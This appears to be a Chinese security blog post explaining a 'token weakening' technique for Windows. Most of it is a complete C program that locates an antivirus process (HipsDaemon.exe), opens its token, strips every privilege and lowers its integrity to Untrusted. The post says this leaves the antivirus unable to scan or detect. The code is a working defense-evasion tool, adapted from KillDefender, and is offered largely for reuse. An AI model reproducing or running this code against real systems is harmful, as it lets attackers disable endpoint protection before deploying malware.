WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

其它

关于博客

面试

杂谈

令牌弱化

这篇想了想还是放在免杀里吧,把杀软杀了也是免杀的方式吧

0x01 介绍&&漏洞成因

这名字还有点高大上,本质就是把杀软的特权全部关掉,在修改访问令牌文章中写过要是关了SeShutdownPrivileges特权会导致关机都关不了,那把杀软的这些特权都关了杀软就失去查杀的功能了

windows高版本有PPL保护,简单说就是防止进程被篡改,没有PPL保护的进程无法注入有保护的进程

但是PPL只保护了进程句柄,未保护进程的令牌,可以用获取到的权限低的进程句柄,在有SeDebugPrivileges权限下得到令牌的全部权限,之后移除全部特权后降低完整性级别,其实这个是关键,后面复现了一下发现就算不移除所有特权只要降低完整性级别也可以达到效果,不过还是要写一下移除的方法

0x02 函数和结构

在代码实现前还要介绍一些函数

这里移除特权的方法就是常规的OpenProcessToken->LookupPrivilegeValue->AdjustTokenPrivileges组合

就有点懒狗了不想再写这个,之前还介绍到RtlAdjustPrivilege函数,但是这个函数的参数中是不带句柄的,于是想找一下有无类似的带句柄参数的函数

于是x64dbg调试了一下后发现还真有

ZwAdjustPrivilegesToken

1
2
3
4
5
6
7
8
NTSYSCALLAPI NTSTATUS NTAPI ZwAdjustPrivilegesToken	(	
_In_ HANDLE TokenHandle,
_In_ BOOLEAN DisableAllPrivileges,
_In_opt_ PTOKEN_PRIVILEGES NewState,
_In_ ULONG BufferLength,
_Out_writes_bytes_to_opt_(BufferLength,*ReturnLength) PTOKEN_PRIVILEGES PreviousState,
_Out_ _When_(PreviousState==NULL, _Out_opt_) PULONG ReturnLength
)

毕竟逆向的技术不够只能找到这个函数名,不过肯定有大佬总结了于是网上一顿搜索找到了这个函数的结构

但是一顿操作后发现DisableAllPrivileges参数设为1不能全部关闭..找到的函数又舍不得不用

不过有一点是已知的luid是不变的,在RtlAdjustPrivilege文章里面也写过

luid有34个0x0-0x23,0x1是没有的遍历到应该也没关系

SetTokenInformation

1
2
3
4
5
6
BOOL SetTokenInformation(
[in] HANDLE TokenHandle, //token句柄
[in] TOKEN_INFORMATION_CLASS TokenInformationClass, //指定下个参数的结构
[in] LPVOID TokenInformation, //指向包含访问令牌中设置的信息和缓冲区指针
[in] DWORD TokenInformationLength //指定TokenInformation指向缓冲区的长度
);

这个函数是用来设置令牌信息的,可以设置令牌的可信度

SID结构

1
2
3
4
5
6
7
8
9
10
typedef struct _SID {
BYTE Revision; //修订版本,必定是1
BYTE SubAuthorityCount; //官网上的介绍是指定SubAuthority 数组中的元素数,最大值为15,但是实测15以内有些数字可以有些数字不行
SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
#if ...
DWORD *SubAuthority[]; //标识符机构值
#else
DWORD SubAuthority[ANYSIZE_ARRAY]; //子机构值
#endif
} SID, *PISID;

这里学的也不清不楚的,下面用自己的意思总结一下

S-1-5-21-1248722460-3128834814-3874648513-1000

S 表示这是SID
1 修订版本
5 标识符机构值
21-1248722460-3128834814-3874648513 子机构值
1000 RID

这是一个SID的结构,下面来看一下大佬的poc

1
2
3
4
5
SID integrityLevelSid = {};
integrityLevelSid.Revision = SID_REVISION;
integrityLevelSid.SubAuthorityCount = 1;
integrityLevelSid.IdentifierAuthority.Value[5] = 16;
integrityLevelSid.SubAuthority[0] = integrityLevel;

Revision修订版本宏定义为1

SubAuthorityCount参数官网介绍最多15个元素,但是15以内的有些数字是不行的,估计有什么格式要求

IdentifierAuthority标识符机构值,但是这里是用六个元素的数组表示的,只要关注最后一位就可以了

可以看到16是定义完整性级别的

SubAuthority子机构值,后面这个也是宏定义integrityLevel为0

这样就组成的SID是S-1-16-0,这是一个定义好的SID

就是最低的可信度

然后用SetTokenInformation设置到要干掉的程序

上面的理解如果有问题欢迎大佬指出

TOKEN_MANDATORY_LABEL

1
2
3
typedef struct _TOKEN_MANDATORY_LABEL {
SID_AND_ATTRIBUTES Label;
} TOKEN_MANDATORY_LABEL, *PTOKEN_MANDATORY_LABEL;

Label指定令牌强制完整性级别的结构

SID_AND_ATTRIBUTES

1
2
3
4
5
6
7
8
typedef struct _SID_AND_ATTRIBUTES {
#if ...
PISID Sid; //指向SID的指针
#else
PSID Sid;
#endif
DWORD Attributes; //指向SID的属性
} SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES;

0x03 代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include<Windows.h>
#include<stdio.h>
#include<tlhelp32.h>

typedef NTSTATUS(WINAPI* typedef_ZwAdjustPrivilegesToken)(
HANDLE TokenHandle,
BOOLEAN DisableAllPrivileges,
PTOKEN_PRIVILEGES NewState,
ULONG BufferLength,
_Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState,
_Out_ _When_(PreviousState == NULL, _Out_opt_) PULONG ReturnLength
);


int FindProcessId(LPCTSTR ProcessName) {
PROCESSENTRY32 PE = { 0 };
PE.dwSize = sizeof(PE);
HANDLE ProcessIDALL = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(ProcessIDALL, &PE)) {
do {
if (lstrcmpi(ProcessName, PE.szExeFile) == 0) {
return PE.th32ProcessID;
}
} while (Process32Next(ProcessIDALL, &PE));
}

return 0;
}

BOOL DisablePrivilege(HANDLE token) {
typedef_ZwAdjustPrivilegesToken ZwAdjustPrivilegesToken = (typedef_ZwAdjustPrivilegesToken)GetProcAddress(LoadLibraryA("ntdll.dll"), "ZwAdjustPrivilegesToken");
if (ZwAdjustPrivilegesToken == NULL) {
printf("Can not found ZwAdjustPrivilegesToken");
return -1;
}

for (int i = 0; i <= 0x24; i++) {
TOKEN_PRIVILEGES tp = {};
LUID luid = {};
luid.HighPart = 0;
luid.LowPart = i;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
ZwAdjustPrivilegesToken(token, 0, &tp, sizeof(tp), NULL, NULL);
}

return TRUE;

}


int main() {
int pid = FindProcessId(L"HipsDaemon.exe");
printf("pid: %d\n", pid);
HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);

HANDLE token;
int ret = OpenProcessToken(process, TOKEN_ALL_ACCESS, &token);

DisablePrivilege(token);

DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID;
SID sid = {};
sid.Revision = SID_REVISION;
sid.SubAuthorityCount = 1;
sid.IdentifierAuthority.Value[5] = 16;
sid.SubAuthority[0] = integrityLevel;

TOKEN_MANDATORY_LABEL tml = {};
tml.Label.Attributes = SE_GROUP_INTEGRITY; //SE_GROUP_INTEGRITY-是强制完整性的SIDhttps://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_groups
tml.Label.Sid = &sid;
BOOL Rret = SetTokenInformation(token, TokenIntegrityLevel, &tml, sizeof(TOKEN_MANDATORY_LABEL));
//TokenIntegrityLevel 缓冲区接收一个TOKEN_MANDATORY_LABEL结构,该结构指定令牌的完整性级别https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-token_information_class
printf("%d", Rret);
CloseHandle(token);
CloseHandle(process);
}

0x04 效果图

可以看到特权已经全部被移除了,注意这里一定要用SYSTEM用户执行,以管理员运行是不够的

怎么调出SYSTEM用户可以看令牌模拟的文章

一定要SYSTEM估计是少什么特权吧

0x05 总结

写完这篇感觉英语好重要..特别是查SID的时候用翻译真的不够,感觉迷迷糊糊写下来了,可能由很多地方不对,如果有大佬看到欢迎提出,不对的地方马上改正

还有代码这段特别是降低可信度这段还是用了github上面这位老哥的,就当与重打了一篇吧,也学到不少感谢这位师傅

参考

https://github.com/pwn1sher/KillDefender
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/5cb97814-a1c2-4215-b7dc-76d1f4bfad01
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c6ce4275-3d90-4890-ab3a-514745e4637e
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-token_information_class